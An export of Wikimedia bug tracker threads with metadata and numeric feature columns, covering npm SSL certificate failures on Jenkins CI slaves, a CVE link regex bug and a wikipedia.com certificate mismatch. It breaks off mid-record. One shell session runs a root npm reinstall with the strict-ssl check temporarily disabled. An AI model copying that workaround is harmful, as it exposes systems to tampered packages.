fixed.,,,1395227463,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-68,True,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,17.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.344827586206897,0.9310344827586207,Mailed ops list.  The Parsoid and VisualEditor npm jobs are now failing and preventing changes to be merged until the SSL cert issue is properly fixed.
291289,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,"(In reply to Antoine ""hashar"" Musso from comment #6)
> Will mail ops list to figure out how to get nodejs 0.10.x marked for install
> on those hosts.

I don't know if it's the same for you, but docs were wrong for me.
<https://www.mediawiki.org/w/index.php?title=Parsoid%2FSetup&diff=930615&oldid=930612>",,,1395226795,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-68,True,0.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,17.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,10.0,15.0,5.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.8048780487804876,0.8780487804878049,"(In reply to Antoine ""hashar"" Musso from comment #6)
QUOTE
QUOTE

I don't know if it's the same for you, but docs were wrong for me.
<URL"
291282,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,"For some reason I managed to get the pmtpa slave nodes back to nodejs 0.8.x which break the VisualEditor npm jobs.

I also created two new slaves in eqiad (integration-slave1001 and integration-slave1002) and they come up with nodejs 0.8.x as well.

Will mail ops list to figure out how to get nodejs 0.10.x marked for install on those hosts.",,,1395226165,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-68,True,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,16.0,0.0,4.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,7.0,1.0,3.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,4.0,16.0,9.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.085714285714285,0.7857142857142857,"For some reason I managed to get the pmtpa slave nodes back to nodejs 0.8.x which break the VisualEditor npm jobs.

I also created two new slaves in eqiad (integration-slave1001 and integration-slave1002) and they come up with nodejs 0.8.x as well.

Will mail ops list to figure out how to get nodejs 0.10.x marked for install on those hosts."
291275,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,"(In reply to Antoine ""hashar"" Musso from comment #3)
> integration-slave01 received nodejs 0.10.x when it got added to
> apt.wikimedia.org. It has been later removed but the instance never got
> cleaned up.
> 
> npm, I have no idea, probably similar.
> 
> 
> I dont want the slaves to be tweaked manually, everything must be in puppet.
> So there is a few bugs that we should fill all related to updating packages
> in apt.wikimedia.org:
> 
> * nodejs 0.10.x (that is apparently a work in progress)
> * npm 1.3.10 should be backported from Ubuntu Trusty
> * grunt-cli needs to be packaged
> 
> Then we can update the list of packages in operations/puppet.git file
> ./modules/contint/manifests/packages/labs.pp . It list npm but no grunt-cli
> since there is no package there.
> 
> Does it sound right?

Yes, except for grunt-cli needing to be packaged. We explicitly don't want to do that, like the over 300 other arbitrary npm modules we fetch daily on the integration slaves based on things listed in package.json in local repositories, this yet just another package like that. We can and should (for consistency and for it being the right version) install this via npm.

I'm sure there is a puppet syntax for ensuring a certain shell command has been executed (e.g. based on a certain file existing). Similar to how we use git::clone in some places and the puppet file{} syntax. They're not provisioned packages, just inline specified within our manifest created by something other than a package (a rb template file, a git clone, or, in this case, an npm install)",,,1394660054,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-69,True,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,4.333333333333333,0.3333333333333333,0.0,0.0,0.0,2.3333333333333335,1.0,0.0,0.0,0.3333333333333333,2.3333333333333335,0.0,3.3333333333333335,9.333333333333334,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,3.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,0.6666666666666666,1.0,0.0,0.6666666666666666,0.0,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.3333333333333333,10.0,0.6666666666666666,2.0,7.0,0.0,0.0,0.0,0.3333333333333333,1.0,0.3333333333333333,0.6666666666666666,0.0,3.0,9.333333333333334,7.0,0.0,0.6666666666666666,0.0,3.0,0.0,0.3333333333333333,3.0,0.0,1.0,0.3333333333333333,0.0,0.0,3.76056338028169,0.6854460093896714,"(In reply to Antoine ""hashar"" Musso from comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yes, except for grunt-cli needing to be packaged. We explicitly don't want to do that, like the over 300 other arbitrary npm modules we fetch daily on the integration slaves based on things listed in package.json in local repositories, this yet just another package like that. We can and should (for consistency and for it being the right version) install this via npm.

I'm sure there is a puppet syntax for ensuring a certain shell command has been executed (e.g. based on a certain file existing). Similar to how we use git::clone in some places and the puppet file{} syntax. They're not provisioned packages, just inline specified within our manifest created by something other than a package (a rb template file, a git clone, or, in this case, an npm install)"
291267,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,Lowering priority and assigning back to Timo.  He applied a workaround.  Still have to fill bugs as mentioned in comment #3,,,1393240120,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-71,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,4.0,15.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,3.9615384615384617,0.8846153846153846,Lowering priority and assigning back to Timo.  He applied a workaround.  Still have to fill bugs as mentioned in comment #3
291259,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,"integration-slave01 received nodejs 0.10.x when it got added to apt.wikimedia.org. It has been later removed but the instance never got cleaned up.

npm, I have no idea, probably similar.


I dont want the slaves to be tweaked manually, everything must be in puppet. So there is a few bugs that we should fill all related to updating packages in apt.wikimedia.org:

* nodejs 0.10.x (that is apparently a work in progress)
* npm 1.3.10 should be backported from Ubuntu Trusty
* grunt-cli needs to be packaged

Then we can update the list of packages in operations/puppet.git file ./modules/contint/manifests/packages/labs.pp . It list npm but no grunt-cli since there is no package there.

Does it sound right?",,,1392827453,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-72,True,1.0,0.5,0.0,2.5,0.0,1.5,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,1.0,2.0,0.0,6.5,7.0,0.5,1.0,1.5,0.5,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,5.5,0.0,2.5,0.5,0.0,0.0,0.0,0.5,0.0,2.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,13.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,3.0,4.5,5.5,1.0,1.0,6.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,5.0,7.0,5.5,0.5,0.0,0.0,5.0,0.0,1.0,1.0,0.0,0.5,0.0,0.0,1.5,4.0200000000000005,0.78,"integration-slave01 received nodejs 0.10.x when it got added to apt.wikimedia.org. It has been later removed but the instance never got cleaned up.

npm, I have no idea, probably similar.


I dont want the slaves to be tweaked manually, everything must be in puppet. So there is a few bugs that we should fill all related to updating packages in apt.wikimedia.org:

* nodejs 0.10.x (that is apparently a work in progress)
* npm 1.3.10 should be backported from Ubuntu Trusty
* grunt-cli needs to be packaged

Then we can update the list of packages in operations/puppet.git file ./modules/contint/manifests/packages/labs.pp . It list npm but no grunt-cli since there is no package there.

Does it sound right?"
291254,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,"krinkle at integration-slave03:

# Enter root and fix HOME so that npm doesn't put cache in /home
# which is read-only in labs (why?)
$ sudo -s
$ export HOME=/root

# Temporarily disable ssl check
$ npm conf set strict-ssl false

# Remove symlink to apt-get installed version
# because npm is not allowed to to delete this shadow 
$ l /usr/bin/npm
  /usr/bin/npm -> /etc/alternatives/npm*
$ rm /usr/bin/npm

# Upgrade npm
$ /etc/alternatives/npm install -g npm

 npm@1.1.39
 ...
 npm@1.4.3

# Re-enable ssl check
$ npm conf set strict-ssl true

# Verify that stuff works by doing an
# install of an example package (jshint)
# in a tmp dir
$ cd /tmp && mkdir foo123 && cd foo123
$ npm install jshint
 ...
 success
$ cd ~
$ rm -rf /tmp/foo123

# Install Grunt
$ npm install -g grunt-cli

 ...
 success",,,1392755172,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-72,True,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,2.3333333333333335,4.666666666666667,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,18.666666666666668,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,1.3333333333333333,0.6666666666666666,3.6666666666666665,1.3333333333333333,2.0,2.3333333333333335,0.0,0.0,0.0,4.0,2.6666666666666665,0.0,0.3333333333333333,0.0,0.0,4.666666666666667,12.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,3.146118721461187,0.6073059360730594,"krinkle at integration-slave03:

# Enter root and fix HOME so that npm doesn't put cache in /home
# which is read-only in labs (why?)
$ sudo -s
$ export HOME=/root

# Temporarily disable ssl check
$ npm conf set strict-ssl false

# Remove symlink to apt-get installed version
# because npm is not allowed to to delete this shadow 
$ l /usr/bin/npm
  /usr/bin/npm -> /etc/alternatives/npm*
$ rm /usr/bin/npm

# Upgrade npm
$ /etc/alternatives/npm install -g npm

 npm@1.1.39
 ...
 npm@1.4.3

# Re-enable ssl check
$ npm conf set strict-ssl true

# Verify that stuff works by doing an
# install of an example package (jshint)
# in a tmp dir
$ cd /tmp && mkdir foo123 && cd foo123
$ npm install jshint
 ...
 success
$ cd ~
$ rm -rf /tmp/foo123

# Install Grunt
$ npm install -g grunt-cli

 ...
 success"
291248,[Regression] Jenkins: Jobs for npm testing are broken due to npm certificate issues on the new slaves,"So the certificates partially ship with nodejs, not the npm package.

Upstream nodejs takes care to backport these cert changes to v0.8, however the slaves not only downgraded from v0.10 to v0.8 but also to an way older minor release of the v0.8 branch.

There have been 24 (!) minor releases since v0.8.2, latest is v0.8.22.

In case this particular cert change can be mitigated by only upgrading npm, I've done a manual upgrade of npm on the individual instances using npm itself:

 $ sudo -s
 $ npm conf set strict-ssl false
 $ npm install -g npm
 npm 1.1.39
 ...
 npm 1.4.3
 $ npm conf set strict-ssl true
 $ cd /tmp && mkdir foo123 && cd foo123
 $ npm install jshint
 success

The jobs still fail after this because the new labs slaves are also missing grunt.

 $ sudo -s
 $ npm install -g grunt-cli
 success


Note that I couldn't interact with npm the normal way because for some reason /home is read-only on the integration instances (even in root, npm still uses your original home as location to do some temporary work and caching).

Had to set `export HOME=/root` to bypass that.",,,1392754229,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-tpdzsfwsce2gxm3hlxzp,task_subcomment,,True,c3,1,True,,,-72,True,1.0,0.0,0.0,0.6666666666666666,1.0,5.333333333333333,0.0,0.6666666666666666,0.0,0.0,2.0,0.6666666666666666,0.0,1.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,6.333333333333333,9.0,0.0,1.6666666666666667,0.0,0.3333333333333333,0.0,1.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,3.3333333333333335,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,16.333333333333332,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,4.0,2.0,3.6666666666666665,1.6666666666666667,2.0,6.333333333333333,0.0,0.0,0.3333333333333333,0.0,3.3333333333333335,0.0,0.6666666666666666,0.0,1.6666666666666667,9.0,7.666666666666667,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,3.7781645569620252,0.7242616033755275,"So the certificates partially ship with nodejs, not the npm package.

Upstream nodejs takes care to backport these cert changes to v0.8, however the slaves not only downgraded from v0.10 to v0.8 but also to an way older minor release of the v0.8 branch.

There have been 24 (!) minor releases since v0.8.2, latest is v0.8.22.

In case this particular cert change can be mitigated by only upgrading npm, I've done a manual upgrade of npm on the individual instances using npm itself:

 $ sudo -s
 $ npm conf set strict-ssl false
 $ npm install -g npm
 npm 1.1.39
 ...
 npm 1.4.3
 $ npm conf set strict-ssl true
 $ cd /tmp && mkdir foo123 && cd foo123
 $ npm install jshint
 success

The jobs still fail after this because the new labs slaves are also missing grunt.

 $ sudo -s
 $ npm install -g grunt-cli
 success


Note that I couldn't interact with npm the normal way because for some reason /home is read-only on the integration instances (even in root, npm still uses your original home as location to do some temporary work and caching).

Had to set CODE to bypass that."
63328,[Regex] CVE http links mangled,"The links in bug #60112, comment #8 are mangled:

- http://people.canonical.com/~ubuntu-security/cve/2013/CVE-2013-7106.html
- http://people.canonical.com/~ubuntu-security/cve/2013/CVE-2013-7107.html
- http://people.canonical.com/~ubuntu-security/cve/2013/CVE-2013-7108.html

This seems to come from wikimedia/bugzilla/modifications:extensions/Wikimedia/Extension.pm's $replacerCVE.  There probably needs to be a look-behind assertion in front of the \b.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1392317640,1392394458.0,PHID-USER-vk6mlmacfhx77egryy5i,False,,False,PHID-TASK-2xn6wjg3m65mr7ff46ak,task_description,resolved,True,c3,1,True,False,True,-72,True,0.0,0.0,0.0,1.0,0.0,4.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,13.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,4.0,0.0,3.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.7051282051282053,0.6538461538461539,"The links in bug #60112, comment #8 are mangled:

- URL
- URL
- URL

This seems to come from wikimedia/bugzilla/modifications:extensions/Wikimedia/Extension.pm's $replacerCVE.  There probably needs to be a look-behind assertion in front of the \b.

--------------------------
**Version**: unspecified
**Severity**: normal"
281880,[Regex] CVE http links mangled,"Bug #60112, comment #8 shows nicely both kinds of links are working correctly.  Thanks!",,,1392394458,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-2xn6wjg3m65mr7ff46ak,task_subcomment,,True,c3,1,True,,,-72,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.7,0.95,"Bug #60112, comment #8 shows nicely both kinds of links are working correctly.  Thanks!"
281873,[Regex] CVE http links mangled,"deployed, please confirm",,,1392393942,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-2xn6wjg3m65mr7ff46ak,task_subcomment,,True,c3,1,True,,,-72,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.0,"deployed, please confirm"
281867,[Regex] CVE http links mangled,"Change 113170 merged by Dzahn:
Add exemption to the CVE linker for Ubuntu security links

https://gerrit.wikimedia.org/r/113170",,,1392393848,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2xn6wjg3m65mr7ff46ak,task_subcomment,,True,c3,1,False,,,-72,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,32.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,16.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.578947368421052,1.0,"Change 113170 merged by Dzahn:
Add exemption to the CVE linker for Ubuntu security links

GERRIT_URL"
281861,[Regex] CVE http links mangled,"Change 113170 had a related patch set uploaded by Tim Landscheidt:
Add exemption to the CVE linker for Ubuntu security links

https://gerrit.wikimedia.org/r/113170",,,1392322098,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2xn6wjg3m65mr7ff46ak,task_subcomment,,True,c3,1,False,,,-72,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,28.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.68,1.0,"Change 113170 had a related patch set uploaded by Tim Landscheidt:
Add exemption to the CVE linker for Ubuntu security links

GERRIT_URL"
281855,[Regex] CVE http links mangled,"Introduced in bug 45772 - I blame Reedy who wrote this. ;)

Whoever likes to play with regexes is invited to provide a patch ( https://www.mediawiki.org/wiki/Gerrit/Tutorial ) for https://git.wikimedia.org/blob/wikimedia%2Fbugzilla%2Fmodifications.git/HEAD/extensions%2FWikimedia%2FExtension.pm#L71",,,1392319675,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2xn6wjg3m65mr7ff46ak,task_subcomment,,True,c3,1,True,,,-72,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,16.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,19.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,16.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6451612903225805,0.9354838709677419,"Introduced in bug 45772 - I blame Reedy who wrote this. ;)

Whoever likes to play with regexes is invited to provide a patch ( URL ) for URL"
63228,https://www.wikipedia.com/ uses an invalid security certificate.,"**Author:** `nels.n.nelson`

**Description:**
www.wikipedia.com uses an invalid security certificate.

The certificate is only valid for the following names:

*.wikipedia.org , wikipedia.org , m.wikipedia.org , *.m.wikipedia.org , wikibooks.org , m.wikibooks.org , *.wikibooks.org , *.m.wikibooks.org , wikidata.org , m.wikidata.org , *.wikidata.org , *.m.wikidata.org , wikimedia.org , m.wikimedia.org , *.wikimedia.org , *.m.wikimedia.org , wikimediafoundation.org , m.wikimediafoundation.org , *.wikimediafoundation.org , *.m.wikimediafoundation.org , wikinews.org , m.wikinews.org , *.wikinews.org , *.m.wikinews.org , wikiquote.org , m.wikiquote.org , *.wikiquote.org , *.m.wikiquote.org , wikisource.org , m.wikisource.org , *.wikisource.org , *.m.wikisource.org , wikiversity.org , m.wikiversity.org , *.wikiversity.org , *.m.wikiversity.org , wikivoyage.org , m.wikivoyage.org , *.wikivoyage.org , *.m.wikivoyage.org , wiktionary.org , m.wiktionary.org , *.wiktionary.org , *.m.wiktionary.org , mediawiki.org , *.mediawiki.org , m.mediawiki.org , *.m.mediawiki.org (Error code: ssl_error_bad_cert_domain)

This prevents users from accessing wikipedia.com and being successfully redirected to wikipedia.org without approving a security override in their browser.

--------------------------
**Version**: wmf-deployment
**Severity**: minor
**URL**: https://www.wikipedia.com/",Medium,50.0,1392145800,1393239088.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-p3o2rrgy7mdy5p4elexj,task_description,resolved,True,c3,1,False,False,True,-73,True,0.0,0.0,0.0,0.3333333333333333,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,2.3333333333333335,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,2.6666666666666665,0.0,0.0,0.0,0.0,0.0,7.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.6666666666666666,4.333333333333333,0.0,0.3333333333333333,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,2.3333333333333335,20.666666666666668,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,1.3333333333333333,0.0,0.0,6.0,5.8647342995169085,0.5458937198067633,"**Author:** CODE

**Description:**
www.wikipedia.com uses an invalid security certificate.

The certificate is only valid for the following names:

*.wikipedia.org , wikipedia.org , m.wikipedia.org , *.m.wikipedia.org , wikibooks.org , m.wikibooks.org , *.wikibooks.org , *.m.wikibooks.org , wikidata.org , m.wikidata.org , *.wikidata.org , *.m.wikidata.org , wikimedia.org , m.wikimedia.org , *.wikimedia.org , *.m.wikimedia.org , wikimediafoundation.org , m.wikimediafoundation.org , *.wikimediafoundation.org , *.m.wikimediafoundation.org , wikinews.org , m.wikinews.org , *.wikinews.org , *.m.wikinews.org , wikiquote.org , m.wikiquote.org , *.wikiquote.org , *.m.wikiquote.org , wikisource.org , m.wikisource.org , *.wikisource.org , *.m.wikisource.org , wikiversity.org , m.wikiversity.org , *.wikiversity.org , *.m.wikiversity.org , wikivoyage.org , m.wikivoyage.org , *.wikivoyage.org , *.m.wikivoyage.org , wiktionary.org , m.wiktionary.org , *.wiktionary.org , *.m.wiktionary.org , mediawiki.org , *.mediawiki.org , m.mediawiki.org , *.m.mediawiki.org (Error code: ssl_error_bad_cert_domain)

This prevents users from accessing wikipedia.com and being successfully redirected to wikipedia.org without approving a security override in their browser.

--------------------------
**Version**: wmf-deployment
**Severity**: minor
**URL**: URL"
290135,https://www.wikipedia.com/ uses an invalid security certificate.,"

*** This bug has been marked as a duplicate of bug 40998 ***",,,1393239088,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-p3o2rrgy7mdy5p4elexj,task_subcomment,,True,c3,1,True,,,-71,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 40998 ***"
63178,Remove yellow padlock icons on HTTPS links,"Intention:
